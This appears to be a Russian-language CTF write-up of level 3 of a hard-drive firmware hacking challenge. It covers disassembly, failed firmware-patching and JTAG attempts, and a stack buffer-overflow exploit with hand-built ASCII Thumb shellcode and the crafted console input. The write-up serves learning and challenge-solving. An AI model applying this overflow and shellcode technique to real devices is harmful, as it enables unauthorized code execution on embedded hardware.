001. ROM:00332D30002. ROM:00332D30 ; Segment type: Pure code003. ROM:00332D30                 AREA ROM, CODE, READWRITE, ALIGN=0004. ROM:00332D30                 ; ORG 0x332D30005. ROM:00332D30                 CODE16006. ROM:00332D30007. ROM:00332D30 ; =============== S U B R O U T I N E =======================================008. ROM:00332D30009. ROM:00332D30 ; prototype: generate_key(key_part_num, integrity_validate_table, key_table)010. ROM:00332D30 ; Function called when serial console input is 'R'. Generates key parts in R0-R3.011. ROM:00332D30 ; The next level to reach, the key parts to print you must!012. ROM:00332D30013. ROM:00332D30 generate_key014. ROM:00332D30015. ROM:00332D30 var_A8          = -0xA8016. ROM:00332D30017. ROM:00332D30                 PUSH            {R4-R7,LR}018. ROM:00332D32                 SUB             SP, SP, #0x90019. ROM:00332D34                 MOVS            R7, R1020. ROM:00332D36                 MOVS            R4, R2021. ROM:00332D38                 MOVS            R5, R0022. ROM:00332D3A                 MOV             R1, SP023. ROM:00332D3C                 LDR             R0, =0x35A05C ; "SP: %x"024. ROM:00332D3E                 LDR             R3, =0x68B08D025. ROM:00332D40                 NOP026. ROM:00332D42                 LDR             R1, =0x6213600 ; "R"...027. ROM:00332D44                 MOV             R2, SP028. ROM:00332D46029. ROM:00332D46 loc_332D46                              ; CODE XREF: generate_key+22j030. ROM:00332D46                 LDRB            R6, [R1]031. ROM:00332D48                 ADDS            R1, R1, #1032. ROM:00332D4A                 CMP             R6, #0xD033. ROM:00332D4C                 BEQ             loc_332D54034. ROM:00332D4E                 STRB            R6, [R2]035. ROM:00332D50                 ADDS            R2, R2, #1036. ROM:00332D52                 B               loc_332D46037. ROM:00332D54 ; ---------------------------------------------------------------------------038. ROM:00332D54039. ROM:00332D54 loc_332D54                              ; CODE XREF: generate_key+1Cj040. ROM:00332D54                 SUBS            R6, #0xD041. ROM:00332D56                 STRB            R6, [R2]042. ROM:00332D58                 SUBS            R5, #0x49 ; 'I'043. ROM:00332D5A                 CMP             R5, #9044. ROM:00332D5C                 BGT             loc_332E14045. ROM:00332D5E                 LSLS            R5, R5, #1046. ROM:00332D60                 ADDS            R5, R5, #6047. ROM:00332D62                 MOV             R0, PC048. ROM:00332D64                 ADDS            R5, R0, R5049. ROM:00332D66                 LDRH            R0, [R5]050. ROM:00332D68                 ADDS            R0, R0, R5051. ROM:00332D6A                 BX              R0052. ROM:00332D6A ; ---------------------------------------------------------------------------053. ROM:00332D6C                 DCW 0x15054. ROM:00332D6E                 DCW 0xA6055. ROM:00332D70                 DCW 0xA4056. ROM:00332D72                 DCW 0xA2057. ROM:00332D74                 DCW 0xA0058. ROM:00332D76                 DCW 0x9E059. ROM:00332D78                 DCW 0x30060. ROM:00332D7A                 DCW 0x52061. ROM:00332D7C                 DCW 0x98062. ROM:00332D7E                 DCW 0xE063. ROM:00332D80 ; ---------------------------------------------------------------------------064. ROM:00332D80065. ROM:00332D80 key_part1066. ROM:00332D80                 LDR             R0, [R4]067. ROM:00332D82                 MOVS            R6, #1068. ROM:00332D84                 STR             R6, [R7]069. ROM:00332D86                 BLX             loc_332E28070. ROM:00332D86 ; ---------------------------------------------------------------------------071. ROM:00332D8A                 CODE32072. ROM:00332D8A                 DCB    0073. ROM:00332D8B                 DCB    0074. ROM:00332D8C ; ---------------------------------------------------------------------------075. ROM:00332D8C076. ROM:00332D8C key_part2077. ROM:00332D8C                 LDR             R6, [R7]078. ROM:00332D90                 CMP             R6, #1079. ROM:00332D94                 LDREQ           R1, [R4,#4]080. ROM:00332D98                 EOREQ           R1, R1, R0081. ROM:00332D9C                 MOVEQ           R6, #1082. ROM:00332DA0                 STREQ           R6, [R7,#4]083. ROM:00332DA4                 B               loc_332E28084. ROM:00332DA8 ; ---------------------------------------------------------------------------085. ROM:00332DA8086. ROM:00332DA8 key_part3087. ROM:00332DA8                 LDR             R6, [R7]088. ROM:00332DAC                 CMP             R6, #1089. ROM:00332DB0                 LDREQ           R6, [R7,#4]090. ROM:00332DB4                 CMPEQ           R6, #1091. ROM:00332DB8                 LDREQ           R2, [R4,#8]092. ROM:00332DBC                 EOREQ           R2, R2, R1093. ROM:00332DC0                 MOVEQ           R6, #1094. ROM:00332DC4                 STREQ           R6, [R7,#8]095. ROM:00332DC8                 B               loc_332E28096. ROM:00332DCC ; ---------------------------------------------------------------------------097. ROM:00332DCC098. ROM:00332DCC key_part4099. ROM:00332DCC                 LDR             R6, [R7]100. ROM:00332DD0                 CMP             R6, #1101. ROM:00332DD4                 LDREQ           R6, [R7,#4]102. ROM:00332DD8                 CMPEQ           R6, #1103. ROM:00332DDC                 LDREQ           R6, [R7,#8]104. ROM:00332DE0                 CMPEQ           R6, #1105. ROM:00332DE4                 LDREQ           R3, [R4,#0xC]106. ROM:00332DE8                 EOREQ           R3, R3, R2107. ROM:00332DEC                 MOVEQ           R6, #1108. ROM:00332DF0                 STREQ           R6, [R7,#8]109. ROM:00332DF4                 LDR             R4, =0x35A036 ; "Key Generated: %s%s%s%s"110. ROM:00332DF8                 SUB             SP, SP, #4111. ROM:00332DFC                 STR             R0, [SP,#0xA8+var_A8]112. ROM:00332E00                 MOVS            R0, R4113. ROM:00332E04                 LDR             R4, dword_332E40+4114. ROM:00332E08                 BLX             R4115. ROM:00332E0C                 ADD             SP, SP, #4116. ROM:00332E10117. ROM:00332E10 loc_332E10                              ; CODE XREF: generate_key:loc_332E10j118. ROM:00332E10                 B               loc_332E10119. ROM:00332E14 ; ---------------------------------------------------------------------------120. ROM:00332E14                 CODE16121. ROM:00332E14122. ROM:00332E14 loc_332E14                              ; CODE XREF: generate_key+2Cj123. ROM:00332E14                 LDR             R4, =0x35A020 ; "key not generated"124. ROM:00332E16                 SUB             SP, SP, #4125. ROM:00332E18                 STR             R0, [SP,#0xA8+var_A8]126. ROM:00332E1A                 MOVS            R0, R4127. ROM:00332E1C                 LDR             R4, =0x68B08D128. ROM:00332E1E                 BLX             R4129. ROM:00332E20                 ADD             SP, SP, #4130. ROM:00332E22                 BLX             loc_332E28131. ROM:00332E26                 MOVS            R0, R0132. ROM:00332E26 ; End of function generate_key133. ROM:00332E26134. ROM:00332E28                 CODE32135. ROM:00332E28136. ROM:00332E28 loc_332E28                              ; CODE XREF: generate_key+56p137. ROM:00332E28                                         ; generate_key+74j ...138. ROM:00332E28                 ADD             SP, SP, #0xA0139. ROM:00332E2C                 LDR             LR, [SP],#4140. ROM:00332E30                 BX              LR141. ROM:00332E30 ; ---------------------------------------------------------------------------142. ROM:00332E34 dword_332E34    DCD 0x35A05C            ; DATA XREF: generate_key+Cr143. ROM:00332E38 dword_332E38    DCD 0x68B08D            ; DATA XREF: generate_key+Er144. ROM:00332E3C dword_332E3C    DCD 0x6213600           ; DATA XREF: generate_key+12r145. ROM:00332E40 dword_332E40    DCD 0x35A036, 0x68B08D  ; DATA XREF: generate_key+C4r146. ROM:00332E40                                         ; generate_key+D4r147. ROM:00332E48 dword_332E48    DCD 0x35A020            ; DATA XREF: generate_key:loc_332E14r148. ROM:00332E4C off_332E4C      DCD 0x68B08D            ; DATA XREF: generate_key+ECr149. ROM:00332E50                 DCD 0150. ROM:00332E50 ; ROM           ends151. ROM:00332E50152. ROM:00332E50                 END

Отличия

Огооо! Первый блин комом. Здесь нету функции ahex2byte. Без конвертации вводимых символов в бинарные, мы уж точно не сможем прыгнуть по адресам каждого из ключа. То есть, у нас не получится взломать этот уровень так же, как и предыдущий. Оно и не дурно - задачка то новая!

Первое, что мне сразу бросилось в глаза - строка 18. Как мы помним из предыдущей статьи, это часть Function Prologue. Но, количество памяти, которое мы выделяем для стека огромное - аж целых 0х90 байт. Если бы эта функция имела много аргументов и дохрена переменных внутри, это бы хоть как-то оправдало на столько огромную цифру. Это, друзья, наш "первый звоночек".

На строках 138-140 мы видим то же самое уменьшение стека, и прыжок на адрес, который был залинкован перед входом в функцию generate_key. Количество байт, на которое мы уменьшаем стек - 0xA0. Это на 16 байт больше того количества, на которое мы увеличивали стек сразу после входа в функцию. На предыдущем уровне, мы имели ровно такую же разницу. В общем, этот кусок говорит нам о том, что здесь мы эксплуатируем ровно такую-же уязвимость, как и на предыдущем уровне - buffer overflow. Но, заставить программу отдать ключи нам прийдется другим, более изощренным способом.

На строке 24 мы видим, что адрес нашей функции printf грузится в регистр R3. Пока что не понятно, для каких целей мы это делаем, но это, уж поверьте, стоит держать в голове :)

Строки 30-36. Здесь у нас нету отличий от предыдущего уровня - все, что мы здесь делаем это копируем наши вводимые данные на стек, и продолжаем исполнение программы когда столкнемся с символом новой строки.

Строки 40-41. Опа! А здесь мы видим две замечательные инструкции. На строке 40 мы отнимаем 0x0D от последнего вводимого символа - новой строки (тот же 0x0D). Получаем ноль. И, на строке 41, мы сохраняем этот ноль на стек в качестве последнего символа нашего ввода. Это наталкивает нас на мысль, что, если мы правильно все рассчитаем, один из байтов адреса на который вернется программа вполне себе может быть 0х00. Опять же, держим в голове. Однажды это нас спасет :)

Ну, вот и все. В остальном, программа почти идентична той, что мы имели на LEVEL2. Конечно, есть парочка непохожих вещей, но они выходят за рамки процесса взлома этого уровня.

Жалкие попытки

Как я и говорил в начале этой публикации, у меня ушло невероятно много времени, чтоб понять как взломать эту ерунду. Друзья, провальные попытки - тоже попытки. Поэтому, пройдемся по тем безуспешным шагам, которые я попробовал, но которые не увенчались успехом.

Меняем прошивку

Первая мысль была загрузить файл level_3.lod в дизассемблер, найти место, которое будет похожим на то, что я вижу в level_3.html, отредактировать пару значений, и залить прошивку обратно на диск. Я воспользовался Hopper Disassembler, и все таки нашел это место! Очень странно то, что каждая вторая строка кода была совсем не похожа на то, что я вижу в level_3.html. Возможно, это была какая-то контрольная сумма, или же логика прошивальщика seaflashlin_rbs работает специфичным образом. Так или иначе, чисто для тестов, я изменил парочку значений.

Но, когда я попытался прошить диск, утилита seaflashlin_rbs завершалась с ошибкой. И, после прошивки, мои изменения не применились.

root@ubuntu:/home/user/Desktop# ./seaflashlin_rbs -f level_3_patch.lod -d /dev/sg1 ================================================================================ Seagate Firmware Download Utility v0.4.6 Build Date: Oct 26 2015 Copyright (c) 2014 Seagate Technology LLC, All Rights Reserved Tue Mar 23 19:25:42 2021================================================================================Flashing microcode file level_3_patch.lod to /dev/sg1 .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  :  !Microcode Download to /dev/sg1 FAILURE!!!

Здесь я вообще не понял что именно стало причиной. Либо сама утилита, либо несоответствие данных в файле прошивки. В общем, решил не копать глубоко. Кое-где в голове было понимание, что этот уровень решается не так просто. Я тут же отбросил этот вариант.

Может потыкать железяку?

Немного погуглив, я понял что каждый чип (IC) имеет такую штуку как JTAG. Это своеобразный интерфейс для тестирования чипа. Через него можно отдать команду процессору остановить исполнение кода, и переключится в debug-режим. С помощью openocd можно "транслировать" debug-режимы различных чипов, и вывести порт для gdb. А уже с gdb можно попросить процессор показать определенные участки памяти, да и вообще слить всю память, которая находится в рабочем пространстве процессора. Если мы совершим подобное, мы отыщем функцию generate_key в огромном дампе памяти, и по референсам сможем найти все ключи!

Для подобной манипуляции есть парочка нюансов:

  • Нужно знать какие ножки процессора отвечают за JTAG

  • Нужно понять каким образом настроить openocd

JTAG это довольно хитрая вещь. На разных микропроцессорах он располагается на разных ножках, и сразу понять что куда подключать - практически не возможно. Это на столько не возможно, что существует такая вещь как jtagulator. Цена железяки говорит сама за себя. https://www.parallax.com/product/jtagulator/

На тыльной стороне платы был 38-пиновый разьем. Я так понял, что этот разьем используется для тестирования платы в процессе производства. На нем и должен быть наш JTAG

Спасибо форуму hddguru.com и сайту spritesmods.com - там были все необходимые распиновки и небольшие гайды о том, как подключится к JTAG на похожих дисках. Для openocd я использовал стандартный шаблон под raspberry pi, добавив лишь опцию открытия порта для gdb, и немножко описав IC (может даже криво). Контакты на разьеме были совсем маленькие, и припаиваться к ним было ужасно не удобно. Понимать где какая ножка было тяжело для зрения. Поэтому, я сделал фотки, и все разукрасил с обеих сторон.

Разукрашенная плата

В результате, картина моего подключения выглядела ужасно. Кое что было криво припаяно, кое что просто контактировало с платой без какой-либо пайки. Куча female-male-female... Но, блин, оно работало. Когда я запустил openocd, у меня получилось опознать чип!

К сожалению, конфигурация openocd была безвозвратно утеряна, но скриншот подключения остался.

Я увидел 3 ядра процессора (JTAG tap). По partnumber я даже нашел изображения этого чипа, и они выглядели похожими на тот, что мы имеем на плате. Оказалось, что это STMicroelectronics STR912.

Но, как видите - в конце лога от openocd я увидел ошибки. Они указывали на то, что процессор не ответил на команду halt. Как я это понял, он проигнорировал просьбу включить debug-режим. Без debug-режима, мы никак не сможем запросить у процессора содержимое памяти... и не сможем решить этот уровень. Очередная неудача - JTAG был закрыт.

Может, толковые ребята в комментариях подскажут, шел ли я по правильному пути, тот ли это чип вообще, и правильно ли я понял происходящее.

Решаем по правильному

В конце концов я сдался, и понял, что этот уровень нужно решать как есть, без попыток обойти систему. Уж слишком много было подсказок насчет шеллкода, патч от keystone с предыдущего уровня никак не шел из головы, и этот комментарий на строке 23 "SP: %x" все не давал мне покоя. К тому же, этот комментарий есть в задаче от предыдущего уровня.

У меня оставалась еще одна мысль - поскольку мы копируем все вводимые символы на стек, можно попытаться самому написать ASCII шеллкод и заабьюзить адрес возврата так, чтоб он указывал на стек. Тем самым, мы заставим процессор исполнить то, что напишем. В нашем случае, шеллкод должен выставить адреса ключей в регистр R0, и триггернуть printf. Но, для этого нужно знать адрес SP, в момент копирования нашего ввода на стек. Я сделал одно допущение - поскольку мы имеем дело с embedded устройством, у нас нету ядра, нету виртуализации - все адреса никак не транслируются. Получается, адрес SP в момент триггера функции generate_key через "R..." должен быть одинаковым на LEVEL2 и на LEVEL3.

Если глянете на level_2.html из предыдущей статьи, вы увидите, что 0x00332DCC - это адрес, где мы сохраняем содержимое SP в R1, расставляем аргументы для printf по местам, и триггерим printf - то есть, печатаем адрес SP. Я перепрошил диск на предыдущий уровень LEVEL2 и сделал вот такой ввод в консоль:

R1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACC2D3300

На что получил вот такой ответ:

SP:2c7bcc.

Хм, 0x002C7BCC... первый 0x00 байт мы сможем получить после того, как отнимем 0xD от символа новой строки (строки 40-41), 0x2C и 0x7B это символы в ASCII диапазоне - "," и "{". Здесь все хорошо. А вот последний байт 0xCC выходит за пределы ASCII. Но, как мы помним, в Function Prologue (строка 18), мы увеличивали стек (уменьшали адрес) аж на 0x90 байт. То есть, наш шеллкод может располагаться в довольно широком диапазоне адресов. Последний байт можно запросто подстроить так, чтоб он был в ASCII.

То есть, как видите, затея с прыжком исполнения на стек вполне реальна!

Но, есть одна проблемка - мы печатаем адрес SP внутри функции. А нам нужен адрес SP на тот момент, когда мы копируем первый вводимый символ на стек. Это и будет наш адрес, куда мы переведем исполнение программы. А содержимое стека и будет нашим шеллкодом.

Берем во внимание все манипуляции с SP в процессе generate_key. Что написано пером... ну вы поняли. Я распечатал LEVEL2 & LEVEL3 и вручную все расписал. К сожалению, фоток от LEVEL2 не осталось, поэтому будет кусок кода из level_2.html:

013. ROM:00332D00 generate_key014. ROM:00332D00015. ROM:00332D00 var_28          = -0x28016. ROM:00332D00017. ROM:00332D00                 PUSH            {R4-R7,LR}018. ROM:00332D02                 SUB             SP, SP, #0x10019. ROM:00332D04                 MOVS            R7, R1020. ROM:00332D06                 MOVS            R4, R2...108. ROM:00332DCC                 MOV             R1, SP109. ROM:00332DD0                 LDR             R4, =0x35A05C ; "SP: %x"110. ROM:00332DD4                 BLX             loc_332DDC111. ROM:00332DD8                 CODE16112. ROM:00332DD8113. ROM:00332DD8 loc_332DD8                              ; CODE XREF: generate_key+2Ej114. ROM:00332DD8                 LDR             R4, =0x35A020 ; "key not generated"115. ROM:00332DDA                 NOP116. ROM:00332DDC117. ROM:00332DDC loc_332DDC                              ; CODE XREF: generate_key+C8p118. ROM:00332DDC                                         ; generate_key+D4p119. ROM:00332DDC                 SUB             SP, SP, #4120. ROM:00332DDE                 STR             R0, [SP,#0x28+var_28]121. ROM:00332DE0                 MOVS            R0, R4123. ROM:00332DE2                 LDR             R4, =0x68B08D124. ROM:00332DE4                 BLX             R4125. ROM:00332DE6                 ADD             SP, SP, #4126. ROM:00332DE8                 BLX             loc_332DEC127. ROM:00332DE8 ; End of function generate_key128. ROM:00332DE8129. ROM:00332DEC                 CODE32130. ROM:00332DEC131. ROM:00332DEC loc_332DEC                              ; CODE XREF: generate_key+58p132. ROM:00332DEC                                         ; generate_key+74j ...133. ROM:00332DEC                 ADD             SP, SP, #0x20134. ROM:00332DF0                 LDR             LR, [SP],#4135. ROM:00332DF4                 BX              LR136. ROM:00332DF8137. ROM:00332DF8 ; =============== S U B R O U T I N E =======================================
level_3.htmllevel_3.html

На LEVEL2 (level_2.html), в самом начале, на строке 18, мы уменьшаем значение в SP на 0х10 байт. На строке 133 мы завершаем функцию, при этом прибавляя 0х20 байт. Инструкция на строке 134

LDR LR, [SP],#4

забавная. В ней мы уменьшаем стек на 4 байта, лезем по этому адресу в память, и сохраняем содержимое в LR. Что происходит с LR - не важно. Важно лишь то, что значение в SP увеличилось на 4 байта.

Делаем вот такую обратную математику:

0x002C7BCC + 0х10 = 0x002C7BDC0x002C7BDC - 0x20 = 0x002C7BBC0x002C7BBC - 0x04 = 0x002C7BB8

0x002C7BB8 и есть значение в SP на момент старта функции generate_key. Теперь делаем расчеты из LEVEL3. Здесь, перед копированием вводимых символов, мы увеличиваем стек (отнимаем адрес) на 0х90 байт. Здесь уже применяем прямую математику:

0x002C7BB8 - 0х90 = 0x002C7B28

Итак, мы получили адрес, куда будет копироваться наш ввод. Ах да, не забываем об еще одной очень важной вещи - наш первый вводимый символ это "R" - он является триггером функции, но не является частью нашего будущего шеллкода. Избавится от него мы не можем, да и нам это не нужно. Просто немножко сдвинуть адрес вперед будет достаточно

  • Сдвиг на 1 байт не сработает поскольку мы имеем дело с little endian архитектурой. Помним, что наши инструкции имеют размер в 2 байта. Делая такой маленький сдвиг, мы рискуем "захватить" предыдущий символ "R" как инструкцию для процессора и наш шеллкод не сработает.

  • Сдвиг на 2 байта тоже не сработает. Причина тому - парность адреса. В предыдущей статье у меня был абзац, где я рассказывал, что семейство Branch (B) инструкций с параметром Exchange (X) совершат смену режима. Если адрес будет парным, мы сменим режим на ARM, где будем иметь 4 байта на инструкцию. Писать шеллкод под ASCII фильтр куда проще имея 2 байта на инструкцию, чем 4 (вероятность напороться на non-ASCII опкод в 2 раза ниже). Поэтому, для простоты, лучше оставаться в Thumb.

  • Сдвиг на 3 байта это именно то, что нам нужно.

0x002C7B28 + 0x03 = 0x002C7B2B

Надо же, в итоге мы получили адрес, который идеально поместится в ASCII диапазон. Последним байтом оказался 0x2B - это ASCII "+".

Что же, нам осталось рассчитать количество вводимых в консоль символов таким образом, чтоб возврат из generate_key направил исполнение кода на адрес 0x002C7B2B. Помним, что на строках 138-140 из level_3.html мы увеличивали адрес стека на 0xA0 (160) байт. И, увеличивали еще на 4 байта когда снимали значение со стека в LR.

Не забываем о новой строке 0x0D - она тоже часть нашего ввода. В процессе исполнения программы, она превратится в 0x00. Итого, количество вводимых символов должно быть 160 + 4 - 1 = 163. Адрес в конце мы должны написать в обратном порядке байт из-за little endian архитектуры. Получится 0x2B 0x7B 0x2C - ASCII ",{+". В итоге, введем что-то похожее на вот это:

RAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+{,

Тестим шеллкод

Чтобы что-то протестировать, нужно это сначала написать. Здесь нам и нужен keystone assembler о котором шла речь на LEVEL2. Это не простой компилятор. Кроме самого компилятора он предоставляет несколько С-шных библиотек. Мы можем написать ассемблерную инструкцию, передать ее как текстовый параметр в keyston-овскую функцию, и получить 2х, или 4х (Thumb или ARM) байтовый код операции (опкод).

Для этого, нужно собрать keystone. Что же, идем в репу https://github.com/keystone-engine/keystone, смотрим инструкцию по сборке и собираем.

user@ubuntu:~/Desktop$ git clone https://github.com/keystone-engine/keystoneCloning into 'keystone'...remote: Enumerating objects: 6806, done.remote: Counting objects: 100% (84/84), done.remote: Compressing objects: 100% (66/66), done.remote: Total 6806 (delta 18), reused 51 (delta 14), pack-reused 6722Receiving objects: 100% (6806/6806), 11.78 MiB | 1.84 MiB/s, done.Resolving deltas: 100% (4617/4617), done.user@ubuntu:~/Desktop$ cd keystone

Не забываем применить патч из LEVEL2.

0001-keystone-armv5.patch
user@ubuntu:/media/user/LEVEL2$ cat 0001-keystone-armv5.patchFrom 5532e7ccbc6c794545530eb725bed548cbc1ac3e Mon Sep 17 00:00:00 2001From: mysteriousmysteries <mysteriousmysteries@redballoonsecurity.com>Date: Wed, 15 Feb 2017 09:23:31 -0800Subject: [PATCH] armv5 support--- llvm/keystone/ks.cpp | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-)diff --git a/llvm/keystone/ks.cpp b/llvm/keystone/ks.cppindex d1819f0..8c66f19 100644--- a/llvm/keystone/ks.cpp+++ b/llvm/keystone/ks.cpp@@ -250,7 +250,7 @@ ks_err ks_open(ks_arch arch, int mode, ks_engine **result)     if (arch < KS_ARCH_MAX) {         ks = new (std::nothrow) ks_struct(arch, mode, KS_ERR_OK, KS_OPT_SYNTAX_INTEL);-+         if (!ks) {             // memory insufficient             return KS_ERR_NOMEM;@@ -294,7 +294,7 @@ ks_err ks_open(ks_arch arch, int mode, ks_engine **result)                         TripleName = "armv7";                         break;                     case KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB:-                        TripleName = "thumbv7";+                        TripleName = "armv5te";                         break;                 }@@ -566,7 +566,7 @@ int ks_asm(ks_engine *ks,     Streamer = ks->TheTarget->createMCObjectStreamer(             Triple(ks->TripleName), Ctx, *ks->MAB, OS, CE, *ks->STI, ks->MCOptions.MCRelaxAll,             /*DWARFMustBeAtTheEnd*/ false);-+     if (!Streamer) {         // memory insufficient         delete CE;@@ -594,7 +594,7 @@ int ks_asm(ks_engine *ks,         return KS_ERR_NOMEM;     }     MCTargetAsmParser *TAP = ks->TheTarget->createMCAsmParser(*ks->STI, *Parser, *ks->MCII, ks->MCOptions);-    if (!TAP) {+    if (!TAP) {         // memory insufficient         delete Parser;         delete Streamer;--1.9.1

Патч выглядит большим, но в нем у нас меняется всего навсего одна строка в файле llvm/keystone/ks.cpp. Патч был создан для какой-то старой версии keystone и в нем не совпадают номера строк. Нам прийдется отыскать похожее место в коде, и сделать изменения ручками. На момент написания этой публикации, это строка 305 (функция ks_open, кусок switch/case, условие параметров препроцессора KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB). Меняем с

304.                case KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB:305.                    TripleName = "thumbv7";306.                break;

на

304.                case KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB:305.                    TripleName = "armv5te";306.                break;

Инструкция по сборке говорит нам, что нужен cmake. Метапакет build-essential обязательно должен быть установлен. Ставим все через apt get install.

Создаем папку build в корне keystone, переходим в нее, и запускаем скрипт билда с уровня директорий выше.

user@ubuntu:~/Desktop/keystone$ mkdir builduser@ubuntu:~/Desktop/keystone$ cd builduser@ubuntu:~/Desktop/keystone/build$ ../make-share.sh

Процесс конфигурации может проходить по разному на разных системах. В моем случае было много предупреждений, но ошибок не было. Дальше, компилируем и устанавливаем keystone. Не забываем об sudo - мы ведь библиотеку устанавливаем. Ах да, прогнать ldconfig - обязательно!

user@ubuntu:~/Desktop/keystone/build$ sudo make installuser@ubuntu:~/Desktop/keystone/build$ sudo ldconfig

Ииии, на этом всё! В корне у keystone есть папочка samples. Там есть пример использования keyston-овских функций. Единственный С-шный файл - sample.c. В нем есть main функция, которая запускает кучу функций test_ks с разными параметрами. Если мы триггернем make в этой папке, получим бинарник sample. Запустив его - получим огромную пачку скомпилированных опкодов для разных архитектур. Если вы увидели этот огромный вывод от sample, значит все собралось правильно.

user@ubuntu:~/Desktop/keystone/build$ cd ../samplesuser@ubuntu:~/Desktop/keystone/samples$ makecc -o sample sample.c -lkeystone -lstdc++ -lmuser@ubuntu:~/Desktop/keystone/samples$ ./sampleadd eax, ecx = 66 01 c8Assembled: 3 bytes, 1 statementsadd eax, ecx = 01 c8Assembled: 2 bytes, 1 statements...

Дабы не ломать примеры, продублируем sample.c в, к примеру, lv3.c, и заменим его в Makefile:

user@ubuntu:~/Desktop/keystone/samples$ cp sample.c lv3.c

Наш Makefile должен выглядеть вот так:

user@ubuntu:~/Desktop/keystone/samples$ cat Makefile# Sample code for Keystone Assembler Engine (www.keystone-engine.org).# By Nguyen Anh Quynh, 2016.PHONY: all cleanKEYSTONE_LDFLAGS = -lkeystone -lstdc++ -lmall:${CC} -o lv3 lv3.c ${KEYSTONE_LDFLAGS}clean:rm -rf *.o lv3

Открываем lv3.c, и убираем кучу лишнего из main. Нас интересует лишь одна из этих функций - архитектура ARM, режим Thumb, little endian. В качестве примера, возьмем инструкцию прыжка на содержимое в R7 и R3 . Итоговая main должна выглядеть вот так:

int main(int argc, char **argv){    // ARM    test_ks(KS_ARCH_ARM, KS_MODE_THUMB, "bx r3", 0);    test_ks(KS_ARCH_ARM, KS_MODE_THUMB, "bx r7", 0);    return 0;}

Собираем и запускаем.

user@ubuntu:~/Desktop/keystone/samples$ make && ./lv3bx r3 = 13 ff 2f e1Assembled: 4 bytes, 1 statementsbx r7 = 17 ff 2f e1Assembled: 4 bytes, 1 statements

Огоо! Мы получили 4 байта на инструкцию вместо 2х. Что же происходит? На самом деле, причина такого поведения keystone мне до сих пор не известна. Мы напрямую указали keystone собирать Thumb опкоды, а получили какое-то 4х байтовое г. Патч вполне мог быть причиной - может ребята из RedBalloonSecurity хотели чтоб я написал именно ARM шеллкод - это было бы очень профессионально. Патч я решил не убирать, и в конце концов, решил эту проблему через big endian. Мне пришлось сменить main вот так, чтоб получить желаемое:

int main(int argc, char **argv){    // ARM    test_ks(KS_ARCH_ARM, KS_MODE_THUMB + KS_MODE_BIG_ENDIAN, "bx r3", 0);    test_ks(KS_ARCH_ARM, KS_MODE_THUMB + KS_MODE_BIG_ENDIAN, "bx r7", 0);    return 0;}
user@ubuntu:~/Desktop/keystone/samples$ make && ./lv3cc -o lv3 lv3.c -lkeystone -lstdc++ -lmbx r3 = 47 18Assembled: 2 bytes, 1 statementsbx r7 = 47 38Assembled: 2 bytes, 1 statements

Вот теперь красота. Правда только, в обратном порядке байт.

Неужели готово?

То есть, что мы получили? Мы ввели желаемую операцию, получили ее опкод, и теперь нам нужно проверить, пройдет ли этот опкод ASCII фильтр. Смотрим на опкоды, и идем вот сюда http://www.asciitable.com. Еще есть очень удобный конвертор https://www.rapidtables.com/convert/number/hex-to-ascii.html

В нашем примере, инструкция BX R3 имеет опкод 0x18 0x47. Судя по ASCII таблице, первая цифра это какой-то CANCEL. Я уж точно не введу такое в консоль. Второй символ 0х47 даже не смотрим. Эта операция не пройдет ASCII фильтр, и мы не можем использовать ее в шеллкоде.

А вот BX R7 имеет опкод 0x38 0x47. Судя по ASCII таблице это "8" и "G". Вот это будет работать, и мы можем написать такое в шеллкод.

Надеюсь, все поняли что такое ASCII фильтр, и чем мы тут занимаемся :)

Пишем

Теперь нам прийдется, довольно таки сильно, напрячь мозг. Самое важное, что должен уметь наш шеллкод - это триггерить printf. Без этого, мы не получим ни единого ключа. Как мы помним, в начале программы на строке 24, мы записывали адрес printf в R3, и этот регистр ни разу не менялся в процессе исполнения.

Мы уже пытались использовать инструкцию BX R3 - она не проходит ASCII фильтр. Но, мы можем попробовать переместить адрес из R3 в какой-то другой регистр и сделать Branch на него. Давайте глянем что такое MOV R5, R3 и BX R5 в виде опкодов. Детально расписывать что и как получаем я не буду. Надеюсь, с keystone все разобрались. Упрощу все до максимума:

MOV R5, R3  = 0x46 0x1D  = "F "BX R5       = 0x28 0x47  = "(G"

Блин, первая инструкция, как и все другие MOV, не пройдут фильтр. Хм, давайте подумаем. Может мы сможем сохранить содержимое R3 куда-то в память, а потом восстановим его в R5? Ведь, BX R5 прошла фильтр. Судя по программе, R7 указывает на таблицу целостности ключей - то есть, в этом регистре хранится адрес памяти, куда мы, наверное, можем писать. К черту таблицу целостности - когда мы пишем шеллкод, у нас полная свобода!

Первый

1. STR R3, [R7]  = 0x3B 0x60  = ";`"2. LDR R5, [R7]  = 0x3D 0x68  = "=h"3. BX R5         = 0x28 0x47  = "(G"
  1. Сохраняем адрес pfintf в память, куда указывает R7

  2. Подгружаем адрес printf из памяти в R5

  3. Триггерим printf

Вау! Все опкоды пройдут фильтр. Помним, что мы начинаем исполнять наш код начиная с третьего символа. Первый символ - обязательно будет "R", второй - не важно какой. Конвертируем hex значения опкодов в ASCII, вводим что-то рандомное (соблюдаем наше количество в 163 символа), и в конце пишем адрес третьего символа на стеке - туда и вернется исполнение программы. Верхний байт адреса возврата 0x00 возьмется с символа новой строки.

F3 T>R!;`=h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,WRITE_READ_VERIFY_ENABLEDLED:000000EE FAddr:002C7BB4LED:000000EE FAddr:002C7BB4LED:000000EE FAddr:002C7BB4

